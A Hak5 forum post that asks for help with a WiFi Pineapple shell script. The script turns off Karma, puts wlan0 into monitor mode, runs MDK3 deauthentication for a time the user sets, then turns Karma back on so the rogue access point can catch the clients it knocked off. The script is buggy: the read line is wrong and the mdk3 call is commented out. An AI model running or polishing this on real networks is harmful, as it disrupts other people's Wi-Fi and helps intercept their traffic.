Jump to content

Pineapple deauth and karma script!


Recommended Posts

Hey guys!

I am currently making a script for the Pineapple that does this :

-Asks you for a time to deauth for

-Disables karma

-Puts wlan0 into RFMON (Monitor Mode)

-Starts MDK3 Deauthing for x amount of seconds inputted at the beginning

-After x amount of seconds, Stops MDK3

-Removes mon0

-Starts karma again

So the problem is that when MDK3 Starts, I cannot get it to stop after the user inputted time to run.

Please help me Hak5! You're my only hope!

Code :


#Run this script by ./mdkarma.sh
#Made by Foxtrot

#Set time to deauth for in seconds :
echo -n "Set time to deauth for in seconds : "; read $deauth
echo "Will deauth for $deauth seconds"
echo "  "

#Stop Karma
echo "Killing Karma!"
hostapd_cli -p /var/run/hostapd-phy0 karma_disable > /dev/null

#Put wlan0 into monitor mode
echo "Putting wlan0 into monitor mode!"
airmon-ng start wlan0 > /dev/null
echo "  "

#Start deauthing with MDK3 and stop after $deauth
echo "Deauthing Access Points with MDK3!"
#mdk3 mon0 d > /dev/null
sleep $deauth
killall mdk3
echo "  "

#Kill airmon-ng and start Karma again.
echo "Removing mon0 and enabling karma!"
airmon-ng stop mon0 > /dev/null
hostapd_cli -p /var/run/hostapd-phy0 karma_enable > /dev/null


Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...